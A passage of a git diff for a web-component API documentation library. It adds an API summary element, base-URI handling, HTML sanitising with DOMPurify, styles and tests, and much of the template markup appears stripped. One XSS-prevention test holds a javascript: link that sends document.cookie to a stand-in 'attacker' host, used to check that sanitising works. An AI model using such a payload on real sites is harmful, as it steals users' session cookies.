* A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, /** * The id of the currently selected server to use to construct the URL. * If not set a first server in the API servers array is used. @@ -313,7 +340,6 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { const servers = this[serversValue]; const endpoint = this[endpointValue]; const serverId = this[serverIdValue]; - let result = ''; let server; if (Array.isArray(servers) && servers.length) { if (serverId) { @@ -322,23 +348,11 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { [server] = servers; } } - if (server) { - result += server.url; - if (result.endsWith('/')) { - result = result.substr(0, result.length - 1); - } - } - if (endpoint) { - let { path='' } = endpoint; - if (path[0] !== '/') { - path = `/${path}`; - } - result += path; - } - if (!result) { - result = '(unknown path)'; - } - this[urlValue] = result; + const { baseUri } = this; + const wa = this._computeWebApi(this.amf); + const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme)); + const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, }); + this[urlValue] = url; } /** diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index 60e24e1..c948288 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -1,6 +1,7 @@ /* eslint-disable class-methods-use-this */ import { html } from 'lit-element'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { UrlLib } from '@api-components/api-request'; import elementStyles from './styles/ApiResource.js'; import commonStyles from './styles/Common.js'; import { @@ -28,6 +29,7 @@ export const serversValue = Symbol('serversValue'); export const serverValue = Symbol('serverValue'); export const serverIdValue = Symbol('serverIdValue'); export const urlValue = Symbol('urlValue'); +export const baseUriValue = Symbol('baseUriValue'); export const computeUrlValue = Symbol('computeUrlValue'); export const titleTemplate = Symbol('titleTemplate'); export const urlTemplate = Symbol('urlTemplate'); @@ -137,8 +139,33 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas return protocol; } + /** + * @returns {string|undefined} + */ + get baseUri() { + return this[baseUriValue]; + } + + /** + * @param {string} value + */ + set baseUri(value) { + const old = this[baseUriValue]; + if (old === value) { + return; + } + this[baseUriValue] = value; + this[computeUrlValue](); + this.requestUpdate(); + } + static get properties() { return { + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, /** * The id of the currently selected server to use to construct the URL. * If not set a first server in the API servers array is used. @@ -286,25 +313,11 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas */ [computeUrlValue]() { const endpoint = this[endpointValue]; - let result = ''; - const { server } = this; - if (server) { - result += server.url; - if (result.endsWith('/')) { - result = result.substr(0, result.length - 1); - } - } - if (endpoint) { - let { path='' } = endpoint; - if (path[0] !== '/') { - path = `/${path}`; - } - result += path; - } - if (!result) { - result = '(unknown path)'; - } - this[urlValue] = result; + const { baseUri, server } = this; + const wa = this._computeWebApi(this.amf); + const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme)); + const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, }); + this[urlValue] = url; } render() { @@ -373,11 +386,12 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas * @returns {TemplateResult} The template for the API operation. */ [operationTemplate](operation) { - const { serverId } = this; + const { serverId, baseUri } = this; return html`; + [processEndpoints](webApi: AsyncApi | WebApi): void; + [endpointOperations](endpoint): ApiSummaryOperation[]|undefined; + [navigateHandler](e: Event): void; + render(): TemplateResult; + [titleTemplate](): TemplateResult|string; + [versionTemplate](): TemplateResult|string; + + /** + * @return A template for a server, servers, or no servers + * whether it's defined in the main API definition or not. + */ + [serversTemplate](): TemplateResult|string; + + /** + * @param server Server definition + * @return A template for a single server in the main API definition + */ + [baseUriTemplate](server: ApiServer): TemplateResult; + + /** + * @param server Server definition + * @return Template for a server list items when there is more than one server. + */ + [serverTemplate](server: ApiServer): TemplateResult; + + [protocolsTemplate](): TemplateResult|string; + [contactInfoTemplate](): TemplateResult|string; + [licenseTemplate](): TemplateResult|string; + [termsOfServiceTemplate](): TemplateResult|string; + [endpointsTemplate](): TemplateResult|string; + [endpointTemplate](item: ApiSummaryEndpoint): TemplateResult; + [endpointPathTemplate](item: ApiSummaryEndpoint): TemplateResult; + [endpointNameTemplate](item: ApiSummaryEndpoint): TemplateResult|string; + [methodTemplate](item: ApiSummaryOperation, endpoint: ApiSummaryEndpoint): TemplateResult; +} diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js new file mode 100644 index 0000000..296d02d --- /dev/null +++ b/src/elements/ApiSummaryElement.js @@ -0,0 +1,462 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { unsafeHTML } from 'lit-html/directives/unsafe-html.js'; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { UrlLib } from '@api-components/api-request'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import elementStyles from './styles/ApiSummary.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import { sanitizeHTML } from '../lib/Utils.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').AsyncApi} AsyncApi */ +/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('../types').ApiSummaryEndpoint} ApiSummaryEndpoint */ +/** @typedef {import('../types').ApiSummaryOperation} ApiSummaryOperation */ + +export const summaryValue = Symbol('summaryValue'); +export const serversValue = Symbol('serversValue'); +export const processEndpoints = Symbol('computeEndpoints'); +export const endpointsValue = Symbol('endpointsValue'); +export const endpointOperations = Symbol('endpointOperations'); +export const isAsyncValue = Symbol('isAsyncValue'); +export const baseUriValue = Symbol('baseUriValue'); +export const navigateHandler = Symbol('navigateHandler'); +export const titleTemplate = Symbol('titleTemplate'); +export const versionTemplate = Symbol('versionTemplate'); +export const serversTemplate = Symbol('serversTemplate'); +export const baseUriTemplate = Symbol('baseUriTemplate'); +export const serverTemplate = Symbol('serverTemplate'); +export const protocolsTemplate = Symbol('protocolsTemplate'); +export const contactInfoTemplate = Symbol('contactInfoTemplate'); +export const licenseTemplate = Symbol('licenseTemplate'); +export const termsOfServiceTemplate = Symbol('termsOfServiceTemplate'); +export const endpointsTemplate = Symbol('endpointsTemplate'); +export const endpointTemplate = Symbol('endpointTemplate'); +export const endpointPathTemplate = Symbol('endpointPathTemplate'); +export const endpointNameTemplate = Symbol('endpointNameTemplate'); +export const methodTemplate = Symbol('methodTemplate'); + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiSummaryElement extends ApiDocumentationBase { + get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles]; + } + + /** + * @returns {ApiSummary} + * @readonly + */ + get summary() { + return this[summaryValue]; + } + + /** + * @returns {ApiServer[]} + * @readonly + */ + get servers() { + return this[serversValue]; + } + + static get properties() { + return { + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, + /** + * API title header level in value range from 1 to 6. + * This is made for accessibility. It the component is used in a context + * where headers order matters then this property is to be set to + * arrange headers in the right order. + * + * @default 2 + */ + titleLevel: { type: Number }, + /** + * A property to hide the table of contents list of endpoints. + */ + hideToc: { type: Boolean }, + }; + } + + constructor() { + super(); + this.titleLevel = 2; + /** @type {string[]} */ + this.protocols = undefined; + /** @type {boolean} */ + this.hideToc = undefined; + /** @type {string} */ + this.baseUri = undefined; + /** @type {ApiSummary} */ + this[summaryValue] = undefined; + /** @type {ApiServer[]} */ + this[serversValue] = undefined; + /** @type {ApiSummaryEndpoint[]} */ + this[endpointsValue] = undefined; + /** @type {boolean} */ + this[isAsyncValue] = undefined; + } + + /** + * Queries the graph store for the API data. + * @returns {Promise} + */ + async processGraph() { + this[endpointsValue] = undefined; + this[serversValue] = undefined; + this[summaryValue] = undefined; + this[isAsyncValue] = undefined; + const { amf } = this; + if (!amf) { + return; + } + this[isAsyncValue] = this._isAsyncAPI(amf); + const servers = this._getServers(); + this[serversValue] = Array.isArray(servers) ? servers.map(s => this[serializerValue].server(s)) : undefined; + const webApi = this._computeApi(amf); + if (!webApi) { + return; + } + const summary = this[serializerValue].apiSummary(webApi); + this[summaryValue] = summary; + this[processEndpoints](webApi); + this.requestUpdate(); + } + + /** + * @param {AsyncApi | WebApi} webApi + */ + [processEndpoints](webApi) { + if (this.hideToc) { + return; + } + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint); + const endpoints = /** @type EndPoint[] */ (this._ensureArray(webApi[key])); + if (!endpoints || !endpoints.length) { + return; + } + const list = endpoints.map((item) => { + const result = /** @type ApiSummaryEndpoint */ ({ + name: this._getValue(item, this.ns.aml.vocabularies.core.name), + path: this._getValue(item, this.ns.aml.vocabularies.apiContract.path), + id: item['@id'], + ops: this[endpointOperations](item), + }); + return result; + }); + this[endpointsValue] = list; + } + + /** + * @param {EndPoint} endpoint + * @returns {ApiSummaryOperation[]|undefined} + */ + [endpointOperations](endpoint) { + const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation); + const so = this._ensureArray(endpoint[key]); + if (!so || !so.length) { + return undefined; + } + return so.map((item) => ({ + id: item['@id'], + method: /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.apiContract.method)), + })); + } + + /** + * @param {Event} e + */ + [navigateHandler](e) { + e.preventDefault(); + const target = /** @type HTMLElement */ (e.composedPath()[0]); + const data = target.dataset; + if (!data.id || !data.shapeType) { + return; + } + const ev = new CustomEvent('api-navigation-selection-changed', { + bubbles: true, + composed: true, + detail: { + selected: data.id, + type: data.shapeType, + } + }); + this.dispatchEvent(ev); + } + + render() { + const { summary } = this; + if (!summary) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[versionTemplate]()} + ${this[descriptionTemplate](summary.description)} + ${this[serversTemplate]()} + ${this[protocolsTemplate]()} + ${this[contactInfoTemplate]()} + ${this[licenseTemplate]()} + ${this[termsOfServiceTemplate]()} + ${this[endpointsTemplate]()} + `; + } + + /** + * @returns {TemplateResult|string} + */ + [titleTemplate]() { + const { summary, titleLevel } = this; + if (!summary || !summary.name) { + return ''; + } + return html` +
    + + ${summary.name} +
    `; + } + + /** + * @returns {TemplateResult|string} + */ + [versionTemplate]() { + const { summary } = this; + if (!summary || !summary.version) { + return ''; + } + return html` +

    + + ${summary.version} +

    `; + } + + /** + * @return {TemplateResult|String} A template for a server, servers, or no servers + * whether it's defined in the main API definition or not. + */ + [serversTemplate]() { + const { servers, baseUri } = this; + if (baseUri) { + return this[baseUriTemplate](undefined); + } + if (!servers || !servers.length) { + return ''; + } + if (servers.length === 1) { + return this[baseUriTemplate](servers[0]); + } + return html` +
    +

    API servers

    +
      + ${servers.map((server) => this[serverTemplate](server))} +
    +
    `; + } + + /** + * @param {ApiServer} server Server definition + * @return {TemplateResult} A template for a single server in the main API definition + */ + [baseUriTemplate](server) { + const { baseUri, protocols } = this; + const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, }); + return html` +
    +
    ${uri}
    +
    + `; + } + + /** + * @param {ApiServer} server Server definition + * @return {TemplateResult} Template for a server list items when there is more + * than one server. + */ + [serverTemplate](server) { + const { baseUri, protocols } = this; + const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, }); + const { description } = server; + return html` +
  • + ${uri} + ${description ? html`` : ''} +
  • `; + } + + /** + * @return {TemplateResult|String} + */ + [protocolsTemplate]() { + const { summary } = this; + if (!summary || !summary.schemes || !summary.schemes.length) { + return ''; + } + const result = summary.schemes.map((item) => html`${item}`); + + return html` + +
    ${result}
    `; + } + + [contactInfoTemplate]() { + const { summary } = this; + if (!summary || !summary.provider || !summary.provider.name) { + return ''; + } + const { name='', email, url } = summary.provider; + const link = url ? sanitizeHTML( + `${url}`, + ) : 'undefined'; + return html` + `; + } + + [licenseTemplate]() { + const { summary } = this; + if (!summary || !summary.license) { + return ''; + } + const { url, name } = summary.license; + if (!url || !name) { + return ''; + } + const link = sanitizeHTML( + `${name}`, + ); + return html` +
    + +

    + ${unsafeHTML(link)} +

    +
    `; + } + + [termsOfServiceTemplate]() { + const { summary } = this; + if (!summary || !summary.termsOfService || !summary.termsOfService.length) { + return ''; + } + return html` +
    + + +
    +
    +
    `; + } + + [endpointsTemplate]() { + if (this.hideToc) { + return ''; + } + const endpoints = /** @type {ApiSummaryEndpoint[]} */ (this[endpointsValue]); + if (!endpoints || !endpoints.length) { + return ''; + } + const result = endpoints.map((item) => this[endpointTemplate](item)); + const pathLabel = this[isAsyncValue] ? 'channels' : 'endpoints'; + return html` +
    +
    + + ${result} +
    + `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult} + */ + [endpointTemplate](item) { + const ops = item.ops && item.ops.length ? item.ops.map((op) => this[methodTemplate](op, item)) : ''; + return html` +
    + ${item.name ? this[endpointNameTemplate](item) : this[endpointPathTemplate](item)} +
    + ${ops} +
    +
    `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult} + */ + [endpointPathTemplate](item) { + return html` + ${item.path} + `; + } + + /** + * @param {ApiSummaryEndpoint} item + * @returns {TemplateResult|string} + */ + [endpointNameTemplate](item) { + if (!item.name) { + return ''; + } + return html` + ${item.name} +

    ${item.path}

    + `; + } + + /** + * @param {ApiSummaryOperation} item + * @param {ApiSummaryEndpoint} endpoint + * @returns {TemplateResult} + */ + [methodTemplate](item, endpoint) { + return html` + ${item.method} + `; + } +} diff --git a/src/elements/styles/ApiSummary.js b/src/elements/styles/ApiSummary.js new file mode 100644 index 0000000..a417cc0 --- /dev/null +++ b/src/elements/styles/ApiSummary.js @@ -0,0 +1,174 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; + color: var(--api-summary-color, inherit); +} + +.api-title { + margin: 12px 0; + font-size: var(--api-summary-title-font-size, 16px); +} + +arc-marked { + padding: 0; +} + +.marked-description { + margin: 24px 0; +} + +.markdown-body { + margin-bottom: 28px; +} + +:host([narrow]) h1 { + font-size: var(--api-summary-title-narrow-font-size, 1.2rem); + margin: 0; +} + +.url-area { + display: flex; + flex-direction: column; + font-family: var(--arc-font-code-family); + + margin-bottom: 40px; + margin-top: 20px; + background-color: var(--code-background-color); + color: var(--code-color); + padding: 8px; + border-radius: var(--api-endpoint-documentation-url-border-radius, 4px); +} + +.url-label { + font-size: 0.75rem; + font-weight: 700; +} + +.url-value { + font-size: var(--api-endpoint-documentation-url-font-size, 1.07rem); + word-break: break-all; +} + +.method-value { + text-transform: uppercase; + white-space: nowrap; +} + +label.section { + color: var(--arc-font-subhead-color); + font-weight: var(--arc-font-subhead-font-weight); + line-height: var(--arc-font-subhead-line-height); + /* font-size: 18px; */ + margin-top: 20px; + display: block; +} + +a { + color: var(--link-color); +} + +a:hover { + color: var(--link-hover-color); +} + +.chip { + display: inline-block; + white-space: nowrap; + padding: 2px 4px; + margin-right: 8px; + background-color: var(--api-summary-chip-background-color, #f0f0f0); + color: var(--api-summary-chip-color, #616161); + border-radius: var(--api-summary-chip-border-radius, 2px); +} + +.app-link { + color: var(--link-color); +} + +.link-padding { + margin-left: 8px; +} + +.inline-description { + padding: 0; + margin: 0; +} + +.docs-section { + margin-bottom: 40px; +} + +.separator { + background-color: var(--api-summary-separator-color, rgba(0, 0, 0, 0.12)); + height: 1px; + margin: var(--api-summary-separator-margin, 40px 0); +} + +.endpoint-item { + margin-bottom: 32px; +} + +.method-label { + margin-right: 8px; + margin-bottom: 8px; + text-decoration: none; +} + +.method-label:hover, +.method-label:focus { + text-decoration: underline; +} + +.endpoint-path { + display: block; + text-decoration: none; + cursor: pointer; + margin-bottom: 4px; + display: inline-block; + font-weight: var(--api-summary-endpoint-path-font-weight, 500); + color: var(--link-color, #0277BD); + margin: 4px 0; + word-break: break-all; +} + +.endpoint-path:hover, +.endpoint-path:focus { + text-decoration: underline; + color: var(--link-color, #0277BD); +} + +.toc .section { + margin-bottom: 24px; +} + +.section { + font-size: var(--api-summary-section-title-font-size); +} + +.section.endpoints-title { + font-weight: var(--arc-font-title-font-weight, 500); + color: var(--arc-font-title-color); + font-weight: var(--arc-font-title-font-weight); + line-height: var(--arc-font-title-line-height); + font-size: var(--arc-font-title-font-size); +} + +.endpoint-path-name { + word-break: break-all; + margin: 8px 0; +} + +.servers .servers-label { + font-size: 0.75rem; + font-weight: 700; + margin: 0.8em 0 0.2em 0; +} + +.server-description { + display: block; + font-size: var(--api-summary-server-description-font-size, 12px); + font-weight: var(--api-summary-server-description-font-weight, 600); +} +`; diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js index 13eca3f..66e2629 100644 --- a/src/elements/styles/Common.js +++ b/src/elements/styles/Common.js @@ -12,16 +12,16 @@ export default css` } .endpoint-url { - margin: 20px 0; - padding: 16px 12px; - background-color: var(--api-endpoint-url-background-color, #2D2D2D); - color: var(--api-endpoint-url-color, #fff); + margin: var(--api-endpoint-url-margin, var(--api-method-documentation-url-margin, 20px 0)); + padding: var(--api-endpoint-url-padding, var(--api-method-documentation-url-padding, 16px 12px)); + background-color: var(--api-endpoint-url-background-color, var(--api-method-documentation-url-background-color, #f5f7f9)); + color: var(--api-endpoint-url-color, var( --api-method-documentation-url-font-color, #000)); display: flex; align-items: center; flex-direction: row; font-family: var(--code-font-family); - font-size: var(--api-endpoint-url-font-size, 1.07rem); - border-radius: var(--api-endpoint-url-border-radius, 4px); + font-size: var(--api-endpoint-url-font-size, var(--api-method-documentation-url-font-size, 1.07rem)); + border-radius: var(--api-endpoint-url-border-radius, var(--api-method-documentation-url-border-radius, 4px)); } .endpoint-url .method-label { diff --git a/src/lib/Utils.js b/src/lib/Utils.js index 500bc5c..b0a4730 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -1,4 +1,5 @@ import { ns } from '@api-components/amf-helper-mixin'; +import sanitizer from 'dompurify'; /** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ /** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ @@ -9,6 +10,7 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ /** @typedef {import('../types').OperationParameter} OperationParameter */ /** @@ -128,3 +130,22 @@ export function isScalarUnion(shape) { } return true; } + +/** + * @param {string} HTML + * @returns {string} + */ +export function sanitizeHTML(HTML) { + const result = sanitizer.sanitize(HTML, { + ADD_ATTR: ['target', 'href'], + ALLOWED_TAGS: ['a'], + USE_PROFILES: {html: true}, + }); + + if (typeof result === 'string') { + return result; + } + + // @ts-ignore + return result.toString(); +} diff --git a/src/types.d.ts b/src/types.d.ts index 2eab0cb..cc908f7 100644 --- a/src/types.d.ts +++ b/src/types.d.ts @@ -1,7 +1,7 @@ -import { ApiParameterRecursive, ApiSecurityRequirementRecursive, ApiShapeUnion } from "@api-components/amf-helper-mixin"; +import { ApiParameter, ApiShapeUnion } from "@api-components/amf-helper-mixin"; export interface OperationParameter { - parameter: ApiParameterRecursive; + parameter: ApiParameter; schema?: ApiShapeUnion; paramId: string; schemaId?: string; @@ -9,38 +9,13 @@ export interface OperationParameter { source: string; } -export interface ShapeTemplateOptions { - nillable?: boolean; - arrayItem?: boolean; - index?: number; - value?: any; +export interface ApiSummaryEndpoint { + id: string; + path: string; + name?: string; + ops?: ApiSummaryOperation[]; } - -export declare interface CredentialSource { - grantType: string - credentials: Array -} - -export declare interface Source { - name: string - clientId: string | undefined - clientSecret: string | undefined -} - -export interface SecuritySelectorListItem { - types: string[]; - labels: string[]; - security: ApiSecurityRequirementRecursive; -} - -export interface AuthPreProcessorOptions { - /** - * When set it removes authorization scheme from the request that has been applied to the request - * leaving all that hasn't been processed. - */ - removeProcessed?: boolean; - /** - * When set it processes authorization schemes that are reported to be invalid. - */ - processInvalid?: boolean; +export interface ApiSummaryOperation { + id: string; + method: string; } diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js new file mode 100644 index 0000000..c1bdec1 --- /dev/null +++ b/test/elements/ApiSummaryElement.test.js @@ -0,0 +1,502 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { endpointsValue } from '../../src/elements/ApiSummaryElement.js'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-summary.js'; + +/** @typedef {import('../../').ApiSummaryElement} ApiSummaryElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ + +describe('ApiSummaryElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @returns {Promise} + */ + async function modelFixture(amf) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiSummaryElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Basic', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('renders api title', () => { + const node = element.shadowRoot.querySelector('[role="heading"]'); + assert.dom.equal(node, `
    + + + API body demo + +
    `); + }); + + it('renders version', () => { + const node = element.shadowRoot.querySelector('.inline-description.version span'); + assert.dom.equal(node, 'v1'); + }); + + it('renders protocols', () => { + const node = element.shadowRoot.querySelector('.protocol-chips'); + assert.dom.equal( + node, + `
    + + HTTP + + + HTTPS + +
    ` + ); + }); + + it('renders description', () => { + const node = element.shadowRoot.querySelector('arc-marked .markdown-body'); + const content = node.innerHTML.trim(); + assert.ok(content, 'has description'); + const strong = node.querySelector('strong'); + assert.dom.equal( + strong, + 'markdown', + { ignoreAttributes: ['class'] }, + ); + const anchor = node.querySelector('a'); + assert.dom.equal( + anchor, + 'evil markdown', + { ignoreAttributes: ['class'] }, + ); + }); + + it('renders base uri', () => { + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), `http://{instance}.domain.com`); + }); + + it('renders endpoints template', () => { + const node = element.shadowRoot.querySelector('.endpoints-title'); + assert.dom.equal(node, ``); + }); + }); + + describe('OAS properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'loan-microservice'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + + it('provider section is rendered', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"]'); + assert.ok(node); + }); + + it('renders provider name', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name'); + assert.dom.equal(node, `John Becker`); + }); + + it('renders provider email', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email'); + assert.dom.equal( + node, + ` + JohnBecker@cognizant.com + ` + ); + }); + + it('renders provider url', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url'); + assert.dom.equal( + node, + `http://domain.com` + ); + }); + + it('renders license region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"]'); + assert.ok(node); + }); + + it('renders license link', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a'); + assert.dom.equal( + node, + ` + Apache 2.0 + ` + ); + }); + + it('Renders ToS region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="tocLabel"]'); + assert.ok(node); + }); + }); + + describe('Prevent XSS attacks', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'prevent-xss'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('provider section is rendered', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"]'); + assert.ok(node); + }); + + it('renders provider name', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-name'); + assert.dom.equal(node, `Wally`); + }); + + it('renders provider email', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-email'); + assert.dom.equal( + node, + ` + wallythebest@wally.com + ` + ); + }); + + it('renders provider url without malicious href', () => { + const node = element.shadowRoot.querySelector('[role="contentinfo"] .provider-url'); + assert.dom.equal( + node, + ` + javascript:window.location='http://attacker/?cookie='+document.cookie` + ); + }); + + it('renders license region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"]'); + assert.ok(node); + }); + + it('renders license without malicious href', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="licenseLabel"] a'); + assert.dom.equal( + node, + ` + I swear if you click below you will have the most amazing experience ever. I promise. + ` + ); + }); + + it('Renders ToS region', () => { + const node = element.shadowRoot.querySelector('[aria-labelledby="tocLabel"]'); + assert.ok(node); + }); + }); + + describe('Endpoints rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('adds separator', () => { + const node = element.shadowRoot.querySelector('.separator'); + assert.ok(node); + }); + + it('renders all endpoints', () => { + const nodes = element.shadowRoot.querySelectorAll('.endpoint-item'); + assert.lengthOf(nodes, 70); + }); + + it('renders endpoint name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.dom.equal( + node, + ` + People + `, + { + ignoreAttributes: ['data-id'] + } + ); + }); + + it('sets data-id on name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.ok(node.getAttribute('data-id')); + }); + + it('renders endpoint path with name', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path-name'); + assert.dom.equal(node, `

    /people

    `, { + ignoreAttributes: ['data-id'] + }); + }); + + it('sets data-id on path', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.endpoint-path'); + assert.ok(node.getAttribute('data-id')); + }); + + it('renders list of operations', () => { + const nodes = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelectorAll('.method-label'); + assert.lengthOf(nodes, 3); + }); + + it('renders operation method', () => { + const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.method-label'); + assert.dom.equal( + node, + `get`, + { + ignoreAttributes: ['data-id'] + } + ); + }); + + it('dispatches the navigation event from the endpoint node', (done) => { + const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'endpoint'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + + it('dispatches the navigation event from the endpoint path', (done) => { + const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'endpoint'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + + it('dispatches the navigation event from the operation click', (done) => { + const node = element.shadowRoot.querySelector(`.method-label[data-id]`); + element.addEventListener('api-navigation-selection-changed', (e) => { + // @ts-ignore + const {detail} = e; + assert.typeOf(detail.selected, 'string'); + assert.equal(detail.type, 'method'); + done(); + }); + /** @type HTMLElement */ (node).click(); + }); + }); + + describe('Server rendering', () => { + /** @type AmfDocument */ + let ramlSingleServerAmf; + /** @type AmfDocument */ + let oasMultipleServersAmf; + /** @type AmfDocument */ + let oasMultipleServersWithDescriptionAmf; + /** @type AmfDocument */ + let noServersAmf; + before(async () => { + ramlSingleServerAmf = await loader.getGraph(compact); + oasMultipleServersAmf = await loader.getGraph(compact, 'multi-server'); + oasMultipleServersWithDescriptionAmf = await loader.getGraph(compact, 'APIC-641'); + noServersAmf = await loader.getGraph(compact, 'no-server'); + }); + + it('renders URL area with a single server', async () => { + const element = await modelFixture(ramlSingleServerAmf); + const node = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(node); + }); + + it('renders single server URL', async () => { + const element = await modelFixture(ramlSingleServerAmf); + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'http://{instance}.domain.com'); + }); + + it('renders multiple servers', async () => { + const element = await modelFixture(oasMultipleServersAmf); + const node = element.shadowRoot.querySelector('.servers'); + assert.ok(node); + }); + + it('renders multiple URLs', async () => { + const element = await modelFixture(oasMultipleServersAmf); + const nodes = element.shadowRoot.querySelectorAll('.server-lists li'); + assert.lengthOf(nodes, 4, 'has 4 servers'); + assert.equal(nodes[0].textContent.trim(), 'https://{customerId}.saas-app.com:{port}/v2'); + assert.equal(nodes[1].textContent.trim(), 'https://{region}.api.cognitive.microsoft.com'); + assert.equal(nodes[2].textContent.trim(), 'https://api.openweathermap.org/data/2.5'); + assert.equal(nodes[3].textContent.trim(), 'http://beta.api.openweathermap.org/data/2.5'); + 